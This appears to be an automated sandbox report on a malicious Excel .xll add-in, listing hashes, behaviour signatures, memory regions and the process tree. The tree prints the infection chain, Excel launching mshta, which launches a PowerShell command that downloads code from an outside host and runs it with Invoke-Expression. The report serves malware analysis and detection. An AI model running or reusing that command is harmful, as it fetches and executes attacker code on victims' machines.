Analysis

  • max time kernel
    129s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 00:05

General

  • Target

    66085ec20d2b85fa38b28e8b9b9677bcfb9878421f564ef140f2f71428a70e36.xll

  • Size

    12KB

  • MD5

    6800bdb8e0bfd0d57762b346fdf5c03e

  • SHA1

    9835f0143f70fc3afe57338da5996d9717d10cd9

  • SHA256

    66085ec20d2b85fa38b28e8b9b9677bcfb9878421f564ef140f2f71428a70e36

  • SHA512

    ef4f8958b4e9e5dd3cce884e37de60e7f4765b7801fe114a7a378ccf4deaaba251eff10ff4e7cfb6cae93e89082c8ea6eaf4c998cb9f8b0b2bfb814bb5f93827

  • SSDEEP

    192:3L29RBzDzeobchBj8JON1ON8ruvrEPEjr7Aha:b29jnbcvYJOSyuvvr7Ca

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\66085ec20d2b85fa38b28e8b9b9677bcfb9878421f564ef140f2f71428a70e36.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4528
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4092
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1364

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\79ZXHV21\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\66085ec20d2b85fa38b28e8b9b9677bcfb9878421f564ef140f2f71428a70e36.xll

    Filesize

    12KB

    MD5

    6800bdb8e0bfd0d57762b346fdf5c03e

    SHA1

    9835f0143f70fc3afe57338da5996d9717d10cd9

    SHA256

    66085ec20d2b85fa38b28e8b9b9677bcfb9878421f564ef140f2f71428a70e36

    SHA512

    ef4f8958b4e9e5dd3cce884e37de60e7f4765b7801fe114a7a378ccf4deaaba251eff10ff4e7cfb6cae93e89082c8ea6eaf4c998cb9f8b0b2bfb814bb5f93827

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5adqacgd.uay.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1364-66-0x0000000006660000-0x00000000066AC000-memory.dmp

    Filesize

    304KB

  • memory/1364-65-0x0000000006630000-0x000000000664E000-memory.dmp

    Filesize

    120KB

  • memory/1364-64-0x0000000006110000-0x0000000006464000-memory.dmp

    Filesize

    3.3MB

  • memory/1364-67-0x0000000007C90000-0x000000000830A000-memory.dmp

    Filesize

    6.5MB

  • memory/1364-54-0x0000000005F60000-0x0000000005FC6000-memory.dmp

    Filesize

    408KB

  • memory/1364-53-0x0000000005EF0000-0x0000000005F56000-memory.dmp

    Filesize

    408KB

  • memory/1364-52-0x0000000005600000-0x0000000005622000-memory.dmp

    Filesize

    136KB

  • memory/1364-51-0x0000000005750000-0x0000000005D78000-memory.dmp

    Filesize

    6.2MB

  • memory/1364-50-0x0000000005030000-0x0000000005066000-memory.dmp

    Filesize

    216KB

  • memory/1364-68-0x0000000006B40000-0x0000000006B5A000-memory.dmp

    Filesize

    104KB

  • memory/4528-10-0x00007FFFB4CC0000-0x00007FFFB4CD0000-memory.dmp

    Filesize

    64KB

  • memory/4528-1-0x00007FFFB6DB0000-0x00007FFFB6DC0000-memory.dmp

    Filesize

    64KB

  • memory/4528-14-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-17-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-18-0x00007FFFB4CC0000-0x00007FFFB4CD0000-memory.dmp

    Filesize

    64KB

  • memory/4528-19-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-20-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-16-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-13-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-11-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-12-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-0-0x00007FFFB6DB0000-0x00007FFFB6DC0000-memory.dmp

    Filesize

    64KB

  • memory/4528-9-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-15-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-8-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-7-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-2-0x00007FFFB6DB0000-0x00007FFFB6DC0000-memory.dmp

    Filesize

    64KB

  • memory/4528-6-0x00007FFFB6DB0000-0x00007FFFB6DC0000-memory.dmp

    Filesize

    64KB

  • memory/4528-5-0x00007FFFB6DB0000-0x00007FFFB6DC0000-memory.dmp

    Filesize

    64KB

  • memory/4528-4-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-3-0x00007FFFF6DCD000-0x00007FFFF6DCE000-memory.dmp

    Filesize

    4KB

  • memory/4528-75-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB

  • memory/4528-91-0x00007FFFB6DB0000-0x00007FFFB6DC0000-memory.dmp

    Filesize

    64KB

  • memory/4528-92-0x00007FFFB6DB0000-0x00007FFFB6DC0000-memory.dmp

    Filesize

    64KB

  • memory/4528-94-0x00007FFFB6DB0000-0x00007FFFB6DC0000-memory.dmp

    Filesize

    64KB

  • memory/4528-93-0x00007FFFB6DB0000-0x00007FFFB6DC0000-memory.dmp

    Filesize

    64KB

  • memory/4528-95-0x00007FFFF6D30000-0x00007FFFF6F25000-memory.dmp

    Filesize

    2.0MB